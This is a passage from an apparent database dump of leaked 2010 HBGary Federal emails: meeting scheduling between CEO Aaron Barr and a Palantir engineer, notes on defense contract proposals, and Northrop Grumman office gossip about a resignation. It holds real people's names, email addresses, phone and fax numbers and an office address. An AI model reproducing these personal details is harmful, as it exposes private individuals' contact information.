Group\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYes it was just got my names mixed up. :).\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 15, 2010, at 8:15 PM, Matthew Steckman &lt;msteckman@palantirtech.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNot sure that was intended for me?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Monday, February 15,\r\n2010 6:35 PM\r\nTo: Matthew Steckman\r\nSubject: Re: Just was put\r\nout by 451 Analyst Group\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nHey Brian,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHave some time to catch up tomorrow?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 8, 2010, at 5:13 PM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWednesday Ill be onsite.  Can we sync up Thurs?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n·         Just let me know when you\r\nwant Geoff Stowe to drive up to Sacramento\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n·         Ill pencil you in for analyst\r\ntraining on the 23rd\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n·         Ive been emailing back and\r\nforth with Brian – I think he’s in a good place right now\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n·         Lets chat about some AF\r\nthings we have going on\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n·         Have you guys approached\r\nGoogle at any point?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Monday, February 08,\r\n2010 4:52 PM\r\nTo: Matthew Steckman\r\nSubject: Re: Just was put\r\nout by 451 Analyst Group\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nyeah...more of those to come.  :)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI will press Gregs better half, who does most of the\r\nscheduling to see when we can do the training.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWant to get caught up with you maybe Wednesday?  We are\r\npursing some work down at the 92nd, also on a proposal with Macaulley Brown for\r\nthe AF OSI RFP.  We are making partner decisions for the DARPA BAA for\r\ncyber genome (there will be a palantir element).  Also still working with\r\nBrian Masterson to build his IRAD, and have some conversations coming up with\r\nDave Luber out of the ANO office.  Probably a few others that I missed but\r\na good start.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 8, 2010, at 4:48 PM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWow, nice article.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Monday, February 08,\r\n2010 4:20 PM\r\nTo: Matthew Steckman\r\nSubject: Fwd: Just was put\r\nout by 451 Analyst Group\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNice.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: &quot;Penny Leavy-Hoglund&quot;\r\n&lt;penny@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDate: February 8, 2010 4:15:03 PM EST\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTo: &quot;&#39;Maria Lucas&#39;&quot; &lt;maria@hbgary.com&gt;, &quot;&#39;Rich\r\nCummings&#39;&quot; &lt;rich@hbgary.com&gt;,\r\n&quot;&#39;Phil Wallisch&#39;&quot; &lt;phil@hbgary.com&gt;,\r\n&quot;&#39;Matt O&#39;Flynn&#39;&quot; &lt;matt@hbgary.com&gt;,\r\n&quot;&#39;Bob Slapnik&#39;&quot; &lt;bob@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCc: &quot;&#39;Ted Vera&#39;&quot; &lt;ted@hbgary.com&gt;, &quot;&#39;Aaron Barr&#39;&quot;\r\n&lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nJust was put out by 451 Analyst Group\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI\r\nscanned this so all could see, not sure we can distribute, so let me\r\ncheck.  If you printed off a copy you can show clients.  This helps\r\nin a big way\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3629,'aaron_hbgary_com/3629.html'),(2697,'2010-02-16','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297001256.M16413P3547Q2697.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Just was put out by 451 Analyst Group','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGreat, see you then.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, February 16, 2010 11:35 AM\r\nTo: Matthew Steckman\r\nSubject: Re: Just was put out by 451 Analyst Group\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nSure I can do that.\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 16, 2010, at 10:58 AM, Matthew Steckman &lt;msteckman@palantirtech.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCan\r\nwe say 4pm?&nbsp; Im coming back from a meeting onsite around 2:30 and want to\r\ngive myself a buffer.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew\r\nSteckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, February 16, 2010 10:26 AM\r\nTo: Matthew Steckman\r\nSubject: Re: Just was put out by 451 Analyst Group\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nSounds\r\ngood I will stop by to see the new digs, say 3pm? &nbsp;I think I still have\r\nthe new address in an email you sent.\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nFeb 16, 2010, at 10:24 AM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIm\r\navailable late afternoon if you want to swing by the new office or just give me\r\na ring.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew\r\nSteckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, February 15,\r\n2010 8:27 PM\r\nTo:&nbsp;Matthew Steckman\r\nSubject:&nbsp;Re: Just was put\r\nout by 451 Analyst Group\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYes\r\nit was just got my names mixed up. :).\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 15, 2010, at 8:15 PM, Matthew Steckman &lt;msteckman@palantirtech.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNot\r\nsure that was intended for me?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew\r\nSteckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, February 15,\r\n2010 6:35 PM\r\nTo:&nbsp;Matthew Steckman\r\nSubject:&nbsp;Re: Just was put\r\nout by 451 Analyst Group\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHey\r\nBrian,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHave\r\nsome time to catch up tomorrow?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nFeb 8, 2010, at 5:13 PM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWednesday\r\nIll be onsite.&nbsp; Can we sync up Thurs?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Just let me know when you\r\nwant Geoff Stowe to drive up to Sacramento\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Ill pencil you in for analyst\r\ntraining on the 23rd\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Ive been emailing back and\r\nforth with Brian &#8211; I think he&#8217;s in a good place right now\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Lets chat about some AF\r\nthings we have going on\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Have you guys approached\r\nGoogle at any point?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew\r\nSteckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, February 08,\r\n2010 4:52 PM\r\nTo:&nbsp;Matthew Steckman\r\nSubject:&nbsp;Re: Just was put\r\nout by 451 Analyst Group\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nyeah...more\r\nof those to come. &nbsp;:)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI\r\nwill press Gregs better half, who does most of the scheduling to see when we\r\ncan do the training.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWant\r\nto get caught up with you maybe Wednesday? &nbsp;We are pursing some work down\r\nat the 92nd, also on a proposal with Macaulley Brown for the AF OSI RFP.\r\n&nbsp;We are making partner decisions for the DARPA BAA for cyber genome (there\r\nwill be a palantir element). &nbsp;Also still working with Brian Masterson to\r\nbuild his IRAD, and have some conversations coming up with Dave Luber out of\r\nthe ANO office. &nbsp;Probably a few others that I missed but a good start.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nFeb 8, 2010, at 4:48 PM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWow,\r\nnice article.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew\r\nSteckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, February 08,\r\n2010 4:20 PM\r\nTo:&nbsp;Matthew Steckman\r\nSubject:&nbsp;Fwd: Just was put\r\nout by 451 Analyst Group\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNice.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin\r\nforwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;&quot;Penny Leavy-Hoglund&quot;\r\n&lt;penny@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDate:&nbsp;February 8, 2010 4:15:03 PM EST\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTo:&nbsp;&quot;\'Maria Lucas\'&quot; &lt;maria@hbgary.com&gt;, &quot;\'Rich\r\nCummings\'&quot; &lt;rich@hbgary.com&gt;,\r\n&quot;\'Phil Wallisch\'&quot; &lt;phil@hbgary.com&gt;,\r\n&quot;\'Matt O\'Flynn\'&quot; &lt;matt@hbgary.com&gt;,\r\n&quot;\'Bob Slapnik\'&quot; &lt;bob@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCc:&nbsp;&quot;\'Ted Vera\'&quot; &lt;ted@hbgary.com&gt;, &quot;\'Aaron Barr\'&quot;\r\n&lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject: Just was\r\nput out by 451 Analyst Group\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI scanned this so\r\nall could see, not sure we can distribute, so let me check.&nbsp; If you\r\nprinted off a copy you can show clients.&nbsp; This helps in a big way\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8440,'aaron_hbgary_com/8440.html'),(2698,'2010-02-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001256.M203532P3547Q2698.eml','\"John Farrell\" <john@endgames.us>','Did u want to catch up here or there?','I have a pretty open afternoon, 4pm meeting.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',13985,'aaron_hbgary_com/13985.html'),(2699,'2010-02-16','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001256.M406600P3547Q2699.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Guess who is leaving the company?','Begin forwarded message:From: &quot;Williams, Joy T (IS)&quot; &lt;JOY.WILLIAMS@ngc.com&gt;\r\nDate: February 16, 2010 12:59:25 PM ESTTo: &quot;Ted Vera&quot; &lt;ted@hbgary.com&gt;Subject: RE: Guess who is leaving the company?\r\n\r\n\r\n\r\n\r\nJAKE!!!\r\nHe resigned last Friday! Woohoo!\r\n\r\n \r\n\r\n\r\n\r\nJoy T Williams \r\n\r\nNorthrop\r\nGrumman Information Systems\r\n\r\nNetCentric\r\nInformation Operations\r\n\r\nDepartment\r\nAdministrator\r\n\r\n1795\r\nJet Wing Drive, Suite 200\r\n\r\nColorado\r\nSprings, CO 80916\r\n\r\n719-622-5500\r\n\r\nFax:719-622-5101\r\n\r\nEfax:\r\n978-684-3865\r\n\r\nEmail:\r\njoy.williams@ngc.com\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Tuesday, February 16, 2010 10:58 AM\r\nTo: Williams, Joy T (IS)\r\nSubject: Re: Guess who is leaving the company?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nWho???\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 16, 2010, at 12:12 PM, &quot;Williams, Joy T (IS)&quot; &lt;JOY.WILLIAMS@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nJoy T\r\nWilliams \r\n\r\nNorthrop\r\nGrumman Information Systems\r\n\r\nNetCentric\r\nInformation Operations\r\n\r\nDepartment\r\nAdministrator\r\n\r\n1795 Jet Wing\r\nDrive, Suite 200\r\n\r\nColorado\r\nSprings, CO 80916\r\n\r\n719-622-5500\r\n\r\nFax:719-622-5101\r\n\r\nEfax:\r\n978-684-3865\r\n\r\nEmail: joy.williams@ngc.com\r\n\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13994,'aaron_hbgary_com/13994.html'),(2700,'2010-02-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001256.M599395P3547Q2700.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Guess who is leaving the company?','where is he going?On Feb 16, 2010, at 1:35 PM, Ted Vera wrote:Begin forwarded message:From: \"Williams, Joy T (IS)\" &lt;JOY.WILLIAMS@ngc.com&gt;\r\nDate: February 16, 2010 12:59:25 PM ESTTo: \"Ted Vera\" &lt;ted@hbgary.com&gt;Subject: RE: Guess who is leaving the company?\r\n\r\n\r\nJAKE!!!\r\nHe 